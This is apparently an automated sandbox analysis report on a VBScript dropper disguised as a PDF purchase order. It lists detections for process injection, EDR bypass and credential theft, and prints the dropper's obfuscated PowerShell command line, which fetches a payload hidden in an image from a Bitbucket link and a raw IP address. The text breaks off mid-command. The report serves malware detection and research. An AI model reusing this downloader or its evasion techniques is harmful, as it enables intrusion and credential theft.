Edit tour
Windows
Analysis Report
PO-DC13112024_pdf.vbs
Overview
General Information
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell download and execute
.NET source code references suspicious native API functions
AI detected suspicious sample
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 3676 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\PO-DC 13112024_p df.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 1276 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$codigo = 'WwBO$GU$ d$$u$FM$ZQ By$HY$aQBj $GU$U$Bv$G k$bgB0$E0$ YQBu$GE$Zw Bl$HI$XQ$6 $Do$UwBl$G M$dQBy$Gk$ d$B5$F$$cg Bv$HQ$bwBj $G8$b$$g$D 0$I$Bb$E4$ ZQB0$C4$Uw Bl$GM$dQBy $Gk$d$B5$F $$cgBv$HQ$ bwBj$G8$b$ BU$Hk$c$Bl $F0$Og$6$F Q$b$Bz$DE$ Mg$N$$o$I$ $g$C$$I$$g $C$$I$$g$C $$I$$g$C$$ ZgB1$G4$Yw B0$Gk$bwBu $C$$R$Bv$H c$bgBs$G8$ YQBk$EQ$YQ B0$GE$RgBy $G8$bQBM$G k$bgBr$HM$ I$B7$C$$c$ Bh$HI$YQBt $C$$K$Bb$H M$d$By$Gk$ bgBn$Fs$XQ Bd$CQ$b$Bp $G4$awBz$C k$I$$N$$o$ I$$g$C$$I$ $g$C$$I$$g $C$$I$$g$C $$J$B3$GU$ YgBD$Gw$aQ Bl$G4$d$$g $D0$I$BO$G U$dw$t$E8$ YgBq$GU$Yw B0$C$$UwB5 $HM$d$Bl$G 0$LgBO$GU$ d$$u$Fc$ZQ Bi$EM$b$Bp $GU$bgB0$D s$I$$N$$o$ I$$g$C$$I$ $g$C$$I$$g $C$$I$$g$C $$J$Bz$Gg$ dQBm$GY$b$ Bl$GQ$T$Bp $G4$awBz$C $$PQ$g$Ec$ ZQB0$C0$Ug Bh$G4$Z$Bv $G0$I$$t$E k$bgBw$HU$ d$BP$GI$ag Bl$GM$d$$g $CQ$b$Bp$G 4$awBz$C$$ LQBD$G8$dQ Bu$HQ$I$$k $Gw$aQBu$G s$cw$u$Ew$ ZQBu$Gc$d$ Bo$Ds$I$$N $$o$I$$g$C $$I$$g$C$$ I$$g$C$$I$ $g$C$$ZgBv $HI$ZQBh$G M$a$$g$Cg$ J$Bs$Gk$bg Br$C$$aQBu $C$$J$Bz$G g$dQBm$GY$ b$Bl$GQ$T$ Bp$G4$awBz $Ck$I$B7$C $$d$By$Hk$ I$B7$C$$cg Bl$HQ$dQBy $G4$I$$k$H c$ZQBi$EM$ b$Bp$GU$bg B0$C4$R$Bv $Hc$bgBs$G 8$YQBk$EQ$ YQB0$GE$K$ $k$Gw$aQBu $Gs$KQ$g$H 0$I$Bj$GE$ d$Bj$Gg$I$ B7$C$$YwBv $G4$d$Bp$G 4$dQBl$C$$ fQ$g$H0$Ow $g$$0$Cg$g $C$$I$$g$C $$I$$g$C$$ I$$g$C$$I$ By$GU$d$B1 $HI$bg$g$C Q$bgB1$Gw$ b$$g$H0$Ow $g$$0$Cg$g $C$$I$$g$C $$I$$g$C$$ I$$g$C$$I$ $k$Gw$aQBu $Gs$cw$g$D 0$I$B$$Cg$ JwBo$HQ$d$ Bw$HM$Og$v $C8$YgBp$H Q$YgB1$GM$ awBl$HQ$Lg Bv$HI$Zw$v $Go$ZgBn$G s$ZgBn$Gg$ Zg$v$HM$Zw Bz$GQ$ZwBo $HM$Z$Bm$H M$LwBk$G8$ dwBu$Gw$bw Bh$GQ$cw$v $G4$ZQB3$F 8$aQBt$Gc$ LgBq$H$$Zw $/$DE$Mw$0 $DE$NQ$n$C w$I$$n$Gg$ d$B0$H$$Og $v$C8$MQ$w $DM$Lg$y$D $$Lg$x$D$$ Mg$u$DY$Mg $v$G4$ZQB3 $F8$aQBt$G c$LgBq$H$$ Zw$n$Ck$Ow $N$$o$I$$g $C$$I$$g$C $$I$$g$C$$ I$$g$C$$I$ $k$Gk$bQBh $Gc$ZQBC$H k$d$Bl$HM$ I$$9$C$$R$ Bv$Hc$bgBs $G8$YQBk$E Q$YQB0$GE$ RgBy$G8$bQ BM$Gk$bgBr $HM$I$$k$G w$aQBu$Gs$ cw$7$$0$Cg $g$C$$I$$g $C$$I$$g$C $$I$$g$C$$ I$$g$Gk$Zg $g$Cg$J$Bp $G0$YQBn$G U$QgB5$HQ$ ZQBz$C$$LQ Bu$GU$I$$k $G4$dQBs$G w$KQ$g$Hs$ I$$k$Gk$bQ Bh$Gc$ZQBU $GU$e$B0$C $$PQ$g$Fs$ UwB5$HM$d$ Bl$G0$LgBU $GU$e$B0$C 4$RQBu$GM$ bwBk$Gk$bg Bn$F0$Og$6 $FU$V$BG$D g$LgBH$GU$ d$BT$HQ$cg Bp$G4$Zw$o $CQ$aQBt$G E$ZwBl$EI$ eQB0$GU$cw $p$Ds$DQ$K $C$$I$$g$C $$I$$g$C$$ I$$g$C$$I$ $g$C$$J$Bz $HQ$YQBy$H Q$RgBs$GE$ Zw$g$D0$I$ $n$Dw$P$BC $EE$UwBF$D Y$N$Bf$FM$ V$BB$FI$V$ $+$D4$Jw$7 $C$$J$Bl$G 4$Z$BG$Gw$ YQBn$C$$PQ $g$Cc$P$$8 $EI$QQBT$E U$Ng$0$F8$ RQBO$EQ$Pg $+$Cc$Ow$g $CQ$cwB0$G E$cgB0$Ek$ bgBk$GU$e$ $g$D0$I$$k $Gk$bQBh$G c$ZQBU$GU$ e$B0$C4$SQ Bu$GQ$ZQB4 $E8$Zg$o$C Q$cwB0$GE$ cgB0$EY$b$ Bh$Gc$KQ$7 $C$$DQ$K$C $$I$$g$C$$ I$$g$C$$I$ $g$C$$I$$g $CQ$ZQBu$G Q$SQBu$GQ$ ZQB4$C$$PQ $g$CQ$aQBt $GE$ZwBl$F